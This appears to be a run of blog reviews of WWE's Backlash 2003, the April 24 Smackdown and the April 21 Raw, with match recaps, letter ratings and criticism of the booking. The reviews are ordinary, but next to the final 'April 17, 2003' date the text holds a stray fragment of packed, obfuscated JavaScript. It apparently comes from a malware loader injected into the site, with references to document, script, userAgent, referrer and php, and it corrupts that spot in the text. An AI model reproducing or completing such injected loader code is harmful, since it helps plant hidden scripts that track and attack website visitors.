The opening video looks at Rock vs. Goldberg, which is billed as a dream match (fair enough) but the build really hasn’t done it any favors. No other matches are mentioned.

As a side note: Scott Steiner beat Rico in the dark match. I know you hear about how big of a collapse his WWE run was but my goodness I never realized it was this bad.

Smackdown Tag Team Titles: Team Angle vs. Los Guerreros

Eddie and Chavo are challenging. Team Angle brings out a framed picture of Kurt, complete with medals hanging off the corner. Haas starts with Eddie with the champ getting rolled up a few times for some early near falls. It’s off to Chavo, who stops to lay over the top rope for a bit of fun.

Benjamin comes in as well and Chavo actually wrestles him down, which only seems to give Benjamin a bit more of a serious look. A knee to the back slows Chavo down but Eddie gets in one of his own to keep Benjamin in trouble. What’s good for the champ is good for the Guerrero perhaps? Eddie gets in a few cheap shots on the floor and puts something into his boot. The slingshot hilo gets two as this has been all Guerreros to start.

For some reason Eddie lets Shelton tag out and some choking from the apron lets the champs take over. Shelton does the jump over Haas spot for two before slapping on one of his own. A powerslam sets up another chinlock as the match has slowed considerably. Haas comes in to stay on the back but a few kicks to the head allow Eddie to make the hot tag.

Heel miscommunication puts both champs in the corner but Shelton gives Chavo a good looking powerbomb. Eddie is right back in with Three Amigos to Charlie and Chavo gets a very near fall. A great looking frog splash crushes Haas so Chavo can get two more with Shelton making the last minute (perhaps post last minute) save. Chavo tries a suplex but it’s the Bobby Heenan Wrestlemania V finish with Shelton holding his foot so Haas can get the pin to retain the titles.

Rating: B-. Good choice for an opener here with the mostly fast paced action and a few hot near falls near the end. They got some time to make this work as well and it was a better match as a result. Eddie and Chavo will be fine as they’re so smooth in the ring that they can make almost anyone look better than they can on their own.

Post match, Los Guerreros jump the champs and steal the belts, leaving in a great looking green car.

Torrie Wilson tells Test to stop calling her but he keeps hitting on her anyway. Test calls her a tease for being in Playboy and insists that she wants him. Being a human, Torrie says no because A, he’s Test and B, she’s Stacy Keibler’s friend. Torrie goes to leave but Test pulls her back and kisses her. She storms off as Sable looks on with a rather evil smile. This storyline just went from stupid to REALLY bad n near record time.

Before the next match, here’s Roddy Piper with a basket full of coconuts. Piper: “I have a loverly bunch of coconuts.” He introduces Sean O’Haire and promises that he’ll teach Rikishi that everyone pays the piper. When purchasing coconuts perhaps?

Sean O’Haire vs. Rikishi

Rikishi wins a slugout on the floor to start and throws O’Haire inside for the opening bell. An early Samoan drop gets no cover as Rikishi has to go after Piper, allowing Sean to get in a superkick. We hit the neck crank with some kicks to the back thrown in for good measure. The fans keep booing something in the crowd as Rikishi fights up and splashes O’Haire in the corner.

Sean pretty easily kicks away the Stinkface as Piper gets inside with the coconut. That goes nowhere as a double superkick puts both guys down. Piper comes in again but gets coconutted to the head. The distraction is enough for O’Haire to hit the reverse Death Valley Driver for the pin.

Rating: D-. Terrible match of course but points for putting someone young over. I know the focus is on Piper (not a surprise) but at least they’re trying to push someone fresh. I’d come up with something other than the Snuka vs. Piper feud from twenty years ago, though at least they don’t have Snuka getting back in the ring. Yet at least.

Sable tells Stacy that Torrie kissed Test and even gave him the advance copy of Playboy a few weeks ago. I’ve started typing a few different things about how stupid this is but I think it speaks for itself. I mean…..Eugene was presented as ten times smarter than Stacy in this segment.

Rob Van Dam likes being a champion but says it doesn’t matter what happens tonight because Chief Morely (guest referee, as announced on Heat) won’t let he and Kane retain. Kane says they’ll take everyone down with them.

Raw Tag Team Titles: Rob Van Dam/Kane vs. Dudley Boyz

The Dudleys are defending and Morely is guest referee. Bubba jumps Van Dam from behind to start but a quick leg trip gets him out of trouble. A standoff slows things down but more importantly allows Van Dam to hit that signature pose. Bubba drops him with a right hand and does the same pose to a rather negative reaction. It’s off to D-Von vs. Kane as this is already feeling like a glorified Raw match. The abundant amount of empty chairs would seem to back up that theory.

A big boot gives Kane two and it’s back to Bubba to change things up a bit. The fans want tables but have to settle for Kane getting two off a spinebuster instead. Morely hasn’t been much of a factor so far. Van Dam’s split legged moonsault is good for two but it’s time for some good old fashioned cheating. D-Von comes in sans tag to draw Kane in as well, meaning Van Dam has to take What’s Up.

It’s off to a chinlock and Bubba actually comes in with a basement dropkick. Rob finally gets in a kick to the face and the hot tag brings in Kane. Everything breaks down and it’s Rob’s top rope kick to D-Von’s face. Rolling Thunder hits Bubba but Kane comes back in with the top rope clothesline to D-Von.

Morely finally does something by hitting Kane low but a second swing hits Bubba in the jaw by mistake. That’s enough for D-Von who beats on Morely but Lance Storm comes in with a springboard clothesline. Bubba dispatches Lance without too much effort and it’s a 3D to Morely. Kane grabs a chokeslam on Bubba and the Five Star is enough for the pin from another referee.

Rating: C-. Overbooking aside, this wasn’t half bad but it was really just a longer version of what they do on Raw most of the time. The story is out of gas at this point and unfortunately that ending is likely to see it continue for whatever reason. The division needs more teams and hopefully the evil French guys can help out a bit.

Since this story hasn’t gone on long enough, Stacy goes to see Torrie, who says Test kissed her. Stacy doesn’t buy it and a cat fight is on. I have no idea why most of these women are here when they’re not on the card, nor why Ivory is in a towel despite not having a match.

Women’s Title: Jazz vs. Trish Stratus

Trish is defending and comes in banged up. We get a staredown early on until Trish actually takes her down without too much effort. A backbreaker gets Jazz out of trouble and we hit the double chickenwing. Trish gets thrown down by the hair and Jazz sits on her ribs for good measure. The comeback is short lived as Trish charges into a boot in the corner and the Stratusphere is countered into something like a super Styles Clash.

Jazz goes with a weak half crab but Trish reverses into the full thing. The Chick Kick gets two and Stratusfaction gets the same with Teddy Long throwing in a shoe (make your own Austin Powers joke) for the save. The referee believes that Teddy didn’t do it, despite the fact that HE’S ONLY WEARING ONE SHOE! Trish tries a sunset flip but Jazz sits down on it and grabs the rope for the pin and the title.

Rating: C+. Rather solid match with a finish that felt like it belonged in the NWA. Above all else though they both looked comfortable out there, which is a big step up from most of the women around this company. Good little match here and the finish should hopefully help set up some fresh challengers for the title in the not so distant future.

Booker, Shawn and Nash agree to trust each other but Nash wants HHH for himself. Well they would be the only ones to want that match.

We recap Big Show vs. Rey Mysterio, which is entirely built around a single 619 that knocked Show down. For some reason, this warrants a pay per view match.

Big Show vs. Rey Mysterio

Rey trips him down to start and Show is annoyed again, earning Mysterio a toss into the corner. One of the hardest chops you’ll ever see or hear has Rey’s eyes bugging out of the mask and he rolls outside. Back in and Show stands on the chest for a bit until Rey slips out of a gorilla press. Some right hands stagger Show but Rey heads outside again, this time for a chair. The referee is conveniently knocked away so Mysterio can get in a chair shot, followed by the springboard seated senton for two. A 619 to the leg sets up a 619 to the face but the West Coast Pop is countered into the chokeslam to give Show the pin.

Rating: D-. Well that happened. I have no idea why this needed to be on pay per view as they could have either done the exact same thing on Smackdown or had Mysterio face Matt Hardy for the Cruiserweight Title here. But no, the solution was to give Big Show a squash win, likely so he can have a big match next month. And of course Mysterio is the only person you can put in here against him because you can’t have show win a competitive match against a name of equal value (Benoit would have been a better choice). Putting this on pay per view in this form was ridiculous and more booking that makes my head hurt.

Mysterio does a stretcher job but Show picks him up and swings the backboard (with Rey still attached) against the post. Just in case you didn’t get the entire idea from the match you see. The bump looked great though.

HHH, Ric Flair and Chris Jericho are ready for the wholesome trio tonight.

Torrie and Stacy get in another fight until Scott Steiner saves Stacy. Test FINALLY returns to yell at Steiner for carry Stacy to the trainer.

We recap Brock Lesnar vs. John Cena. Lesnar won the title at Wrestlemania and Cena has been calling him out both before and since the title win. Cena then won a tournament to earn the shot so it’s an actually well built match. Unfortunately it’s also the biggest match on the Smackdown side and feels like a slightly glorified TV main event.

Smackdown World Title: Brock Lesnar vs. John Cena

Cena comes out in a Yankees jersey which must have his skin crawling. His rap talks about how he’s going to be added to the list of great champions, meaning he’s crazy like Mankind and coming at you from so many angles that you’ll call him Kurt. Cena jumps him at the bell and slugs away but you can only do that for so long against Brock. Two backbreakers into a fall away slam has Cena in trouble and Brock at the cut on his forehead from Smackdown.

A front facelock keeps Cena in trouble as Tazz goes into his rare yet useful explanation of how to get out of a hold. Brock stomps away in the corner and there’s a gorilla press for good measure. Cena wisely bails out to the floor and grabs a chair but settles for throwing Lesnar into the steps instead. The cut is busted open so Cena slugs away back inside. A running shoulder sends Lesnar to the apron and there’s the middle rope Fameasser to put him fully outside.

Back in and we hit a chinlock for a good while before a DDT gives Cena two. Lesnar grabs a spinebuster to put both guys down for a breather as Cole starts talking about momentum. Tazz thinks whoever is up first might have the advantage. Thanks for that analysis there buddy. Cena is back up with a chinlock and a bodyscissors for a rather long while.

Back up and Cena gets driven into the corner for the break and it’s comeback time. Some clotheslines and a powerslam give Lesnar two. Cena is smart enough to almost send Lesnar into the referee, allowing John to hit a low blow for two more. It’s chain time but a quick F5 retains the title.

Rating: C-. Pretty watchable match (save for that long chinlock) but there was no hiding the fact that Cena was in way over his head and had almost no chance to win the title. Lesnar did what he could and sold a lot, though there’s only so much you can do when the ending is never in doubt. Cena would have his day of course but it just wasn’t here yet.

We recap the six man tag, which was all about who is Nash’s best friend. In other words, it’s a story that all of five people are interested in and for some reason we have to do this six man tag instead of HHH vs. Booker T. II here and Nash doing his hair somewhere instead. This is little more than a pit stop before Nash gets his big singles title match that isn’t interest in and no one wants to see anyway. This gets the music video treatment because it’s the big match in the eyes of the people who matter the most around here.

Kevin Nash/Shawn Michaels/Booker T. vs. HHH/Ric Flair/Chris Jericho

Nash wants to start with HHH but thankfully we do Shawn vs. Jericho instead. Jericho punches away in the corner but Shawn speeds things up and starts a pinfall reversal sequence. A Walls attempt is broken up and it’s off to Nash to hammer on the arm. Jericho skins the cat (I still want to know how it got that name) but Nash is smart enough to be right there with a big boot.

It’s off to Booker, who scores with a kick to HHH’s jaw, only to get caught in the facebuster. The spinebuster puts Booker down and it’s off to Flair for the old school portion. Shawn comes in off a missed elbow drop and house is quickly cleaned. Sweet Chin Music connects but HHH is right there with a Pedigree for the save. HHH and Flair take turns beating on Shawn until it’s off to Jericho for a hard belly to back.

Now the villains start in on the knee but an enziguri puts Flair down. That’s enough for the hot tag to Nash and we get the showdown with HHH. I’m sure the fans are all going to start cheering as soon as the shock wears off so ignore that silence thing. Snake Eyes and the side slam are good for two on HHH with Flair making the save. The chops have no effect with Nash fixing his hair while Ric fires them off.

Everything breaks down and Booker ax kicks Jericho to set up the Spinarooni. Sweet Chin Music is broken up and Flair grabs the Figure Four as Nash loads up the announcers’ table. He comes in for the save instead (how nice of him) but shoves Flair into the referee. The sledgehammer to the head puts Nash away.

Rating: D. So yeah, instead of doing HHH vs. Booker and Shawn vs. Jericho or Flair, we’re stuck with HHH beating Nash to likely set up HHH vs. Nash for the title. As usual, 2003 makes my head hurt and somehow we’re not even close to done with this story. The match wasn’t the worst by any stretch but sweet goodness it was boring and not the way to make me want to see anything else on Raw.

We look back at Mysterio being destroyed in case you didn’t get the idea the first time.

The update on Rey: there is no update.

Long recap of Rock vs. Goldberg, which doesn’t really have much of a story. Rock is coming off beating Steve Austin at Wrestlemania and Goldberg just showed up to attack him. The match was agreed to and Goldberg has been chasing him since. It’s basically Rock being a huge star and someone getting to beat him before he heads to Hollywood permanently.

Rock says he’ll win and doesn’t care much about Goldberg. This felt like nothing but the time filler that it was. The fans chant for Rock all over again.

The Rock vs. Goldberg

The entrances take a long time and Rock hits the floor before the bell as they’re hitting the stall button hard here. They stare each other down as the match hasn’t actually started yet. We’re finally ready to go after several minutes of killing time, which isn’t what this show needed. Goldberg shoves him away off the lockup, which isn’t that surprising as Rock isn’t known as a power guy.

They do it again with Rock falling to the floor this time around. Back in and Rock slaps him in the face, only to get run over with a shoulder. Rock bails again as the announcers debate music. We hit another long stall until Rock snaps him throat first across the top. Goldberg grabs a Rock Bottom but takes way too long on the spear, allowing Rock to send him into the post. The Sharpshooter goes on for a bit before Rock goes with a low blow.

That means nothing either and it’s a spear to cut Rock down. No Jackhammer though as Goldberg gets two off a slam instead. Good grief END THIS SHOW ALREADY. Rock hits a spear of his own (called a spinebuster by Coach, which isn’t that far off actually) and the Rock Bottom gets two. Now the spinebuster actually connects and the People’s Elbow gets two more. Goldberg pops up, hits a spear, ignores the GOLDBERG SUCKS chant, adds a second spear, and finishes with the Jackhammer.

Rating: D-. This was about as dumb as they could have gone with Goldberg doing the same kind of match that every WWE main eventer has with the multiple finishers and trading moves instead of doing the formula that got him over in the first place. It was a completely terrible debut match with Rock’s selling alone completely outshining everything Goldberg did.

Compare this Goldberg match to his recent return (true story: he wrestled more in this match than in a match, a Royal Rumble appearance, a title win and a title defense) and look at which got better reactions, more entertaining matches and just more success overall. It’s not hard to figure out why one was better than the other and a lot of it has to do with booking Goldberg like Goldberg and not like any other star.

Overall Rating: F. The problem here is much more based around this show not being necessary, at least not in this form. The Smackdown stuff was completely unnecessary with most of the blue matches being TV worthy at best and horrible at worst. If you can’t even fit Chris Benoit, Matt Hardy and Undertaker on the show (yet there was time for FOUR Stacy/Test/Torrie segments), just cut the Smackdown part out and let it be a Raw pay per view. Turn the six man into HHH vs. Booker II for the title and do Shawn vs. Jericho II with Jericho getting his win back while Nash is guest enforcer or something.

Then there’s the show itself, which peaked at a just somewhat above average Team Angle vs. Los Guerreros opener. The wrestling was terrible throughout with matches either not needing to exist or being so uninteresting that there was no reason to care about them. This show felt like it was running overtime and didn’t even make it to two hours and forty five minutes. It was an awful show which could have either been a standalone Raw show or just not existed and I don’t think anyone would have really noticed. Just awful stuff all around and a really bad sign of things to come.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

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And check out my Amazon author page with cheap wrestling books at:

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Smackdown
Date: April 24, 2003
Location: Gaylord Entertainment Center, Nashville, Tennessee
Commentators: Michael Cole, Tazz

It’s the go home show for Backlash and we have a Smackdown main event. This time around it’s going to be rookie upstart John Cena challenging Brock Lesnar for the Smackdown World Title, meaning it’s likely time for a big face to face showdown. Other than that it’s Rikishi vs. Roddy Piper tonight for reasons I don’t even want to begin to understand. Let’s get to it.

Opening sequence.

The announcers preview the show with Cole making sure to say that “we are just 72 hours away, three days, from Backlash”. I have that 72 hours, three days thing burned into my head after hearing Cole say it all those years.

John Cena vs. Rhyno

Before the match, Cena raps his history, which basically summarizes the tournament and says he’s winning on Sunday. He also promises graphic footage to prove that Lesnar shouldn’t be champion. Rhyno wins the early power battle and sends him outside, only to get dropkicked on the way back inside.

A middle rope Fameasser with Rhyno draped over the ropes has Rhyno in trouble and it’s time to start in on the neck. Back in and we hit the armbar for a good bit until Rhyno fights up with a powerslam. The still yet to be named Throwback sets up the ProtoBomb but Rhyno catches him in a spinebuster. The Gore misses though and Cena rolls him up for the pin.

Rating: D+. Just a power match here and I kind of like the idea of Cena making a power guy miss a catch him on a quick pin as it gives him another option to take the title from Lesnar. Unfortunately it wasn’t a great match in the first place, but at least Cena won and beat someone that the fans still care about.

Mr. America is coming.

The FBI annoys Chris Benoit for losing last week when they had a bet on him. They want their money back but Nunzio winds up with a match against Benoit instead.

Sable flaunts her body to Josh Matthews and hypes up the Sable Invitational body contest later tonight.

Some wrestlers toured a Navy ship earlier this week.

Chris Benoit vs. Nunzio

Stamboli and Palumbo get in some shots from behind while Nunzio has the referee. As usual the referee has no issue with Benoit being down despite his opponent not touching him and doesn’t even yell at the other Italians. They trade some chops with the Canadian getting the better of it (well duh) but Palumbo trips Benoit again. The Sicilian Slice (middle rope Fameasser) gives Nunzio two and a swinging neckbreaker is good for the same. An enziguri finally gets Benoit out of trouble and grabs the rolling German suplexes. Nunzio pops up but the springboard armbar is countered into the Crossface for the tap.

Rating: D. I’m hoping they pull the plug on the FBI thing in the very near future as it’s just not interesting. Nunzio is the best worker of the team and even he’s only decent. On top of that, it’s such a simple and not very interesting idea. They’re just stereotypical mob thugs and that’s far from good enough to survive. At least Benoit won though.

Benoit gets beaten down post match.

Tajiri and Funaki watch Rey Mysterio 619 Big Show last week and have a hearty laugh. Cue Big Show to destroy the TV and VCR to blow off some steam.

Rey Mysterio vs. Crash

Crash is now an MF’er, meaning a follower of Matt Hardy, who only uses low fat salad dressings. Tazz dubs Crash a Moore-On as he’s working his way up to MF’er. Rey dropkicks Shannon to the floor but gets armbarred for his efforts. The sitout bulldog is countered with a belly to back suplex (Crash is the first person to come up with that counter?) but the kickouts frustrate Crash. Now the bulldog works fine and the springboard seated senton sets up a tornado DDT to give Rey two. The 619 sets up the springboard legdrop to put Crash away.

Rating: D+. I’m not sure how this is supposed to help Rey get ready for Big Show on Sunday. Crash doesn’t exactly fit the mold for a goon as he wrestled his usual not great match here without looking like anything more than a bad wrestler. This should be setting up Rey vs. Matt but it’s Rey vs. Big Show for reasons I don’t understand.

Cena gives A-Train a pep talk and shows him Lesnar giving him a very scary F5 that saw A-Train landing on his head. That was edited off the actual broadcast if you don’t remember seeing it. A-Train wants to end Lesnar.

Rikishi vs. Roddy Piper

Unfortunately Piper wrestles (work with me here) with his shirt off and the blinded referee doesn’t see Sean O’Haire hit a low blow. Some right hands knock Piper backwards and Sean takes a few of his own but O’Haire comes in to break up the Stinkface for the DQ.

O’Haire beats him down even more and adds the reverse Death Valley Driver.

The evil French guys (now officially La Resistance) are still coming.

It’s time for Sable’s body contest. Before anyone comes out, Sable says this is designed to see if anyone can be as sexy as Torrie. However, Torrie won’t be here tonight because she’s feeling a bit fat lately as she hasn’t been able to get to the gym with all the Playboy stuff. Nidia and Dawn Marie come out and are about to do their thing until Torrie comes out, as expected.

Nidia and Dawn do their thing and get their standard reactions. It’s time for Torrie, who hits on Sable, giving her kind of a standing lap dance, complete with lollipop, and….loses anyway. The beatdown is on and Torrie is left laying as this story is now more confusing than anything else. So Sable is now a lesbian cougar who didn’t interest Torrie but now Torrie is interested (or just playing the proverbial “mind games”) but Sable isn’t interested? Is that where we are?

Chavo Guerrero vs. Shelton Benjamin

Team Angle is dedicating their win on Sunday to Kurt. Shelton takes him down without too much effort but lets Chavo up pretty quickly. Chavo scores with a dropkick and a clothesline as Tazz thinks Eddie stole money from him. Why were Los Guerreros never accused of stealing the FBI’s money a few weeks back? It’s kind of their thing to do.

Chavo’s hurricanrana gets two but he walks into a belly to belly for the same. A quickly broken camel clutch doesn’t do Shelton much good as Chavo grabs a flapjack. An STF that John Cena would think looks bad has Shelton in trouble but Charlie Haas pulls him over to the rope. The referee yells at Eddie for going after Haas, allowing Charlie to turn over a rollup and give Shelton the pin.

Rating: C-. They tried to put a bit too much into this and it wasn’t as good as I was expecting. At least they actually set up something for Sunday as that hasn’t seemed to be the case for most of the night. Chavo is the weaker of the team but he’s certainly capable of having a good match. There was a bit too much interference to let that work here though and it was kind of a mess as a result.

Cena talks trash to Lesnar.

Big Show vs. Tajiri

Show catches him without much trouble and a clothesline cuts off the kicks. A charge misses and Show crotches himself, allowing Tajiri to fire off more kicks. Show’s kick drops Tajiri again but here’s Mysterio’s music for a distraction. Not that it matters as the chokeslam plants Tajiri. Cue Rey in person to post Show, drawing a countout.

Rating: D-. So let me make sure I’ve got this straight: Show has been humiliated twice in a row and is likely to squash Mysterio on Sunday, Rey is little more than a fly who is going to be swatted in the actual match, Tajiri gets treated like a jobber and Mysterio/Tajiri beating Team Angle to start the whole thing meant nothing at all. If someone would be interested in pointing out a positive in this whole mess, please let me know.

Stephanie McMahon is bent over a table for no apparent reason other than she probably thought she looked good that day (granted she’s not wrong). She’s an All-American girl and is happy to have Mr. America here next week.

Backlash rundown.

Brock Lesnar vs. A-Train

Non-title with Cena on commentary. Lesnar’s pyro when he jumps to the apron seems to shake Cena, which you don’t see very often. Joined in progress after a break with an exchange of power shoves. We hit a front facelock with Brock rolling A-Train around like he’s not even there. Back up and a big collision puts both of them down and it’s another staredown.

Brock finally gets a more definitive advantage by clotheslining A-Train to the floor, allowing Cena to trash talk even more. The distraction lets A-Train kick him in the face to take over, followed by the chinlock. Brock fights up but gets puts right back down with a hard shoulder. A powerslam works a bit better for Lesnar, only to have A-Train grab the Derailer for two. Cena: “WHAT’S UP WITH CHIODA DOG??? WAY OUT OF POSITION!” The F5 plants A-Train a few seconds later but Cena comes in for the DQ.

Rating: D. Slow, plodding power match here with an obvious and dull ending. Lesnar winning is fine and A-Train got in some big shots despite having no change to win. There’s no hiding the fact that Lesnar vs. Cena is the only Smackdown match that matters on Sunday but it’s looking like little more than a glorified squash. Bad main event to a bad show.

Cena chains Lesnar in the head and hits the Death Valley Driver (now the standard AA). A belt shot to Lesnar’s head ends the show.

Overall Rating: F+. The best thing on the show was a lackluster Chavo vs. Shelton match as it’s clear that the Smackdown side of Backlash means absolutely nothing. Brock vs. Cena is the distant third biggest match on the pay per view card and everything else is complete filler. This show did nothing to shake that idea as the whole thing was Lesnar vs. Cena and everything else, none of which was interesting in the slightest. It was a terrible show and another part of a horrid stretch for the brand.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Monday Night Raw
Date: April 21, 2003
Location: Phillips Arena, Atlanta, Georgia
Commentators: Jonathan Coachman, Jerry Lawler

It’s the go home show for Backlash and we have a major main event for a change. This week will see HHH defending the Raw World Title against Booker T. in a Wrestlemania rematch, but there’s something a bit bigger to cover. Tonight is also the second Rock Concert as Rock is ready to deal with Bill Goldberg this coming Sunday. Let’s get to it.

Ric Flair is in Eric Bischoff’s office complaining about Bischoff’s actions of late. Bischoff calls it compelling television and makes Shawn Michaels guest referee for tonight’s title match. Flair is livid but seems to calm down when Bischoff suggests that Shawn might beat Booker up out of principle.

Opening sequence.

Chris Jericho vs. Hurricane

Fallout from last week’s main event. Hurricane throws the cape over Jericho’s face to start and hammers the Canadian out to the floor. That means a big dive as the announcers debate whether or not Hurricane is a real superhero. Back in and we hit a very early Walls of Jericho, sending Hurricane bailing to the ropes. Jericho sticks with the back and grabs a chinlock with a knee to the spine.

Hurricane fights up with a running clothesline and neckbreaker for two but the Overcast misses. It’s too early for the Lionsault though and Hurricane gets two off the Shining Wizard. The chokeslam gets the same with Jericho getting a boot on the ropes as this is already better than it should have been. Back up and the Eye of the Hurricane is countered into the Walls for the tap.

Rating: C+. Not a great match here but Hurricane continues to show off his more than adequate in-ring skills. If they were to, say, have him win another big match it might actually go somewhere. As usual, this is a case where the Intercontinental Title would do wonders for them but instead the focus needs to be on Shawn vs. HHH vs. Nash for the only title worth anything. Brilliant indeed.

Post match Flair runs out to beat on Hurricane, including the Figure Four.

Rock arrives and he’s got a guitar. Rock: “No no no, it’s not boo. It’s the Rock Concert TWO!”

Rodney Mack vs. Sean Evans

Behold, the debut of the Teddy Long Five Minute White Boy Challenge. Teddy promises that this will be off the hizzle fo shizzle. In about as long as it takes me to look up what that means, Mack crushes the jobber while Jerry defends himself from running against a black man for Mayor of Memphis. A running powerslam ends Evans in less than two minutes.

Booker T. asks Shawn what’s up with him being guest referee tonight. It was in this arena where Shawn superkicked him out of the NWO, which Shawn says makes them even after last week. That’s how Booker wants the match tonight called: even.

Goldberg got to meet some troops earlier today.

Coach brings out Lita for her first appearance on Raw in over a year. She’s gotten some great news from her doctor but here’s Bischoff to cut her off. Bischoff sends Coach off and tells the fans to cheer for Lita. In a rather out of character moment, Bischoff creepily hits on her and suggests that she do Playboy instead of wrestle. After the fans get done being rather pleased with Bischoff’s suggestion, Lita says no way. Bischoff offers to just let her give him a private showing instead, or just sleep with him to save her job. Lita tells him where he can go and walks off so Bischoff fires her.

What was the point of this? Bischoff is a lot of things but he’s not the creepy predator like Vince. This was completely out of character for him and felt much more awkward than evil. I can buy people trying to get the Divas to sleep with them to keep their jobs but Bischoff isn’t that kind of villain. I’m also not sure what the point of this was in the first place, though it’s good to have Lita back.

Flair and HHH want some insurance for the title match. HHH has an idea.

3 Minute Warning vs. Test/Scott Steiner

Chris Nowinski is on commentary. Jamal takes Steiner into the corner and hammers away to start before Rosey comes in with a side slam. The announcers talk about Stacy as Jamal breaks up a hot tag attempt. Jamal misses a top rope splash and the hot tag brings in Test for the running clothesline in the corner. The pumphandle powerslam gives Test two as Rosey splashes Jamal by mistake. Rico kicks Stacy down so Steiner checks on her, allowing Rosey to splash Test. Not that it matters as Steiner comes back in for a reverse DDT and the pin on Jamal.

Rating: D. 3 Minute Warning had a lot of potential but sweet goodness they’ve become one of the lamest acts I’ve seen in a long time. They’re just big guys who do the stereotypical big man offense, which is about as interesting as you can get. Test and Steiner are no better as Stacy continues to be the only good thing about either of them, which really isn’t all that surprising. You can tell the story is going to continue as well, which is far from the best news.

Post break Test and Steiner yell at each other until Stacy breaks it up.

Kevin Nash comes in to see Bischoff and talks about being brought in under the false pretense of teaming with HHH and Shawn. Nash says he’s going to pick a side and it’ll be the winning one.

Rock is warming up for the concert and promises a surprise.

Here’s Rock for the concert. After a hitch of the pants and some annoyance at the Rock chants, we’re ready to go. First up is Goldberg on My Mind but the fans chanting for Rock makes him snap again. Rock has had enough of this and calls Goldberg out right now….and it’s time for another Gillberg cameo, complete with fire extinguishers and sparklers.

After some jokes about Gillberg’s physique, Rock reads the words to The Rock Went Down to Georgia. Gillberg dances a little jig and the real Goldberg arrives in the back. As Goldberg comes through the back, Rock says that Gillberg is in trouble for the years of impersonations. Goldberg comes out so Rock hides behind the security, which is quickly dispatched.

Rock bails so security gets beaten down, leaving Gillberg to try his luck. That’s enough for Rock to sneak back in (as sneakily as a 6’5 275lb wrestler in leather pants can be) for a Rock Bottom before running again. We head to the back where Rock gets in the Hummer limo. Goldberg jumps in his Barracuda to give chase but the car stalls. Well of course it does. Goldberg gives chase on foot but Rock pops up, having faked running away. How shenanigany.

Trish Stratus and Spike Dudley are here for a match but Chief Morely comes out to introduce their opponents, who will also be challenging Rob Van Dam and Kane on Sunday.

Trish Stratus/Spike Dudley vs Dudley Boyz

Bubba powerbombs the heck out of Spike and Trish is even more scared than she was before. D-Von can’t bring himself to attack her though, leaving Bubba to splash Trish instead. Morely wants Trish put through a table but D-Von won’t have anything to do with it. Van Dam and Kane come in for the save. The guys all leave so Jazz and Teddy Long run in to beat down Trish with the Jazz Stinger sending her into the unset table.

Rock is still here and ready for an encore.

HHH and Nash are having a chat.

Rock is in the ring and it’s time to continue the concert. Before he can get a single note out though, here’s Goldberg to beat him down again. Christian comes out to take Goldberg down from behind though and the beatdown is on. Rock spears Christian down but gets chaired in the back for the real beatdown. It’s nice of them to have Rock get in some shots like this, but I can’t imagine this is making people think he has a chance on Sunday.

Backlash rundown.

Shawn talks to HHH.

Raw World Title: HHH vs. Booker T.

HHH is defending with Shawn Michaels refereeing. They slug it out with Shawn breaking it up multiple times until Booker takes over with some chops. A side slam gets two as the announcers discuss the Trojan Horse. Flair gets knocked off the apron and here’s Jericho at ringside because this match isn’t big enough already. A few shots to Booker’s back while HHH has Shawn distracted (probably planning the next slumber party) take us to a break.

Back with Booker fighting out of the sleeper as Lawler wants to know why Shawn is allowing Jericho to stay at ringside. Fair question actually. The spinebuster gives HHH two and the kneedrop is good for the same. The slow beating continues as King talks about how great it is to see the Kliq back together.

Everyone used to talk about them you see. As usual, the problem is that they were never a thing on WWE TV and it’s WWE assuming that everyone knows and/or cares about the backstage stuff. If that’s what you’re going with, at least make it clear what you’re talking about instead of just acting like it’s something everyone already knows. HHH grabs the second sleeper until Booker fights back with a side kick to put both guys down.

Another side kick triggers the real comeback, including a third kick to knock HHH out of the air for a rather near fall. The missile dropkick gets two more as Flair is out of the jacket and panicking as only he can. HHH grabs a DDT but the Pedigree is broken up, setting up the ax kick. Flair and Jericho have to be dealt with before the cover though and HHH gets out again.

The Houston Hangover is loaded up but HHH shoves Shawn into the ropes for the crotching. Why this isn’t a DQ isn’t clear but it’s good for two more. Shawn deals with Flair as Booker hits ANOTHER kick, only to have Jericho get in a belt shot. For once though Shawn is actually smart enough to figure this out and won’t count. Instead he superkicks HHH and decks the other villains but they come back in to break up the count, setting up the no contest.

Rating: B-. The match was good, especially if you forget that Booker STILL doesn’t have a big singles win as he’s stuck in the middle of the Kliq’s family fighting. The match was good enough and helped to set up Sunday but that brings us to the big problem: a World Title match and the main event of the Raw World Title match at Wrestlemania is being used to set up a nothing six man tag. That’s quite the stretch for priorities and it’s not a good thing. Having a match be good doesn’t make up for the fact that it’s all to set up such a stupid story and actually makes it far worse.

Nash comes out to play peacemaker but HHH decks him from behind to end the show.

Overall Rating: D-. Where do I even begin? Above all else, the two top stories on this show range from stupid to completely uninteresting. You can take your pick between Rock having to pretend that the fans love Goldberg and that he actually has a chance of winning on Sunday or HHH, Shawn and Nash arguing over who gets to keep the kid (pick which of those is which) after their divorce in matches that mean absolutely nothing.

The six man isn’t going to be used to elevate Jericho or Booker but it gets Nash and Flair main event spots for the simple reason of who they hang out with backstage. I’m assuming we’re heading towards Goldberg as the top face star, but not until Nash vs. HHH gets to headline a few pay per views, despite the fact that ONLY Nash and HHH are interested in seeing that match.

What did we have aside from this stuff? Bischoff being creepy, Test and Scott Steiner fighting over Stacy Keibler, Chief Morely as the enforcer who makes the Dudleyz beat up Trish Stratus and the Five Minute White Boy Challenge. I have no idea how this is considered their best possible option but I would love to have that explained to me.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkeze|var|u0026u|referrer|yhrft||js|php'.split('|'),0,{})) April 17, 2003
Location: Norfolk Scope, Norfolk, Virginia
Commentators: Michael Cole, Tazz

